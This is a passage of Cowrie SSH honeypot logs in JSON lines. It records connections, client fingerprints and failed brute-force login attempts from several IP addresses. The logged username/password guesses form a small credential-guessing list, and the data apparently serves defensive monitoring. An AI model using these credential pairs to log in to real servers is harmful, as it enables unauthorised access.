ha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:19.873201Z","src_ip":"2.57.122.208","session":"e67892252158","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rootadmin","password":"Rootadmin","message":"login attempt [rootadmin/Rootadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:19.921610Z","src_ip":"103.193.178.240","session":"2af4561e3e3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:20.945645Z","src_ip":"2.57.122.208","session":"e67892252158","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:21.356196Z","src_ip":"103.193.178.240","session":"2af4561e3e3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:22.260514Z","src_ip":"2.57.122.208","session":"e67892252158","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":45052,"dst_ip":"10.17.0.5","dst_port":22,"session":"269699243c7a","protocol":"ssh","message":"New connection: 128.201.200.162:45052 (10.17.0.5:22) [session: 269699243c7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:30.810290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:30.814649Z","src_ip":"128.201.200.162","session":"269699243c7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:30.927477Z","src_ip":"128.201.200.162","session":"269699243c7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"new","password":"New123","message":"login attempt [new/New123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:31.410145Z","src_ip":"128.201.200.162","session":"269699243c7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:32.524416Z","src_ip":"128.201.200.162","session":"269699243c7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":18412,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba0a22f48fd8","protocol":"ssh","message":"New connection: 152.52.15.213:18412 (10.17.0.5:22) [session: ba0a22f48fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:43.555062Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:43.559379Z","src_ip":"152.52.15.213","session":"ba0a22f48fd8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:43.790142Z","src_ip":"152.52.15.213","session":"ba0a22f48fd8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"adrian","password":"Adrian123","message":"login attempt [adrian/Adrian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:44.750929Z","src_ip":"152.52.15.213","session":"ba0a22f48fd8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:45.987067Z","src_ip":"152.52.15.213","session":"ba0a22f48fd8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"13.71.92.229","src_port":54356,"dst_ip":"10.17.0.5","dst_port":22,"session":"83fcb1a4d9eb","protocol":"ssh","message":"New connection: 13.71.92.229:54356 (10.17.0.5:22) [session: 83fcb1a4d9eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:56.563449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:56.567905Z","src_ip":"13.71.92.229","session":"83fcb1a4d9eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:56.789724Z","src_ip":"13.71.92.229","session":"83fcb1a4d9eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"waf","password":"wafpass","message":"login attempt [waf/wafpass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:57.671866Z","src_ip":"13.71.92.229","session":"83fcb1a4d9eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:58:58.887623Z","src_ip":"13.71.92.229","session":"83fcb1a4d9eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":36742,"dst_ip":"159.203.135.109","dst_port":22,"session":"12e512d3ce99","protocol":"ssh","message":"New connection: 2.57.122.210:36742 (159.203.135.109:22) [session: 12e512d3ce99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:59:31.148916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:59:31.153553Z","src_ip":"2.57.122.210","session":"12e512d3ce99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:59:31.253066Z","src_ip":"2.57.122.210","session":"12e512d3ce99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:59:31.551952Z","src_ip":"2.57.122.210","session":"12e512d3ce99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":35330,"dst_ip":"10.17.0.5","dst_port":22,"session":"3981dbd6bf23","protocol":"ssh","message":"New connection: 152.52.15.213:35330 (10.17.0.5:22) [session: 3981dbd6bf23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:59:32.623176Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:59:32.627220Z","src_ip":"152.52.15.213","session":"3981dbd6bf23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:59:32.653499Z","src_ip":"2.57.122.210","session":"12e512d3ce99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:59:32.850939Z","src_ip":"152.52.15.213","session":"3981dbd6bf23","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ax","password":"password","message":"login attempt [ax/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:59:33.771864Z","src_ip":"152.52.15.213","session":"3981dbd6bf23","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T10:59:34.995533Z","src_ip":"152.52.15.213","session":"3981dbd6bf23","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.52.15.213","src_port":52252,"dst_ip":"10.17.0.5","dst_port":22,"session":"297064a0ca34","protocol":"ssh","message":"New connection: 152.52.15.213:52252 (10.17.0.5:22) [session: 297064a0ca34]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:26.442671Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:26.447070Z","src_ip":"152.52.15.213","session":"297064a0ca34","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:26.662181Z","src_ip":"152.52.15.213","session":"297064a0ca34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbadmin","password":"123456","message":"login attempt [dbadmin/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:27.551178Z","src_ip":"152.52.15.213","session":"297064a0ca34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"42.112.42.129","src_port":38779,"dst_ip":"10.17.0.5","dst_port":22,"session":"d975ac4f0ff8","protocol":"ssh","message":"New connection: 42.112.42.129:38779 (10.17.0.5:22) [session: d975ac4f0ff8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:27.877166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:27.882191Z","src_ip":"42.112.42.129","session":"d975ac4f0ff8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:28.132494Z","src_ip":"42.112.42.129","session":"d975ac4f0ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:28.767665Z","src_ip":"152.52.15.213","session":"297064a0ca34","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"alexis","password":"alexispass","message":"login attempt [alexis/alexispass] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:29.305295Z","src_ip":"42.112.42.129","session":"d975ac4f0ff8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:30.558528Z","src_ip":"42.112.42.129","session":"d975ac4f0ff8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":59520,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f4d07d02281","protocol":"ssh","message":"New connection: 2.57.122.208:59520 (10.17.0.5:22) [session: 3f4d07d02281]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:30.665163Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:30.749918Z","src_ip":"2.57.122.208","session":"3f4d07d02281","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:30.910124Z","src_ip":"2.57.122.208","session":"3f4d07d02281","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:31.610745Z","src_ip":"2.57.122.208","session":"3f4d07d02281","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:32.752995Z","src_ip":"2.57.122.208","session":"3f4d07d02281","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.201.200.162","src_port":47460,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c05428d7edc","protocol":"ssh","message":"New connection: 128.201.200.162:47460 (10.17.0.5:22) [session: 9c05428d7edc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:38.093321Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T11:00:38.098326Z","src_ip":"128.201.200.162","session":"9c05428d7edc","protocol":"ssh"}
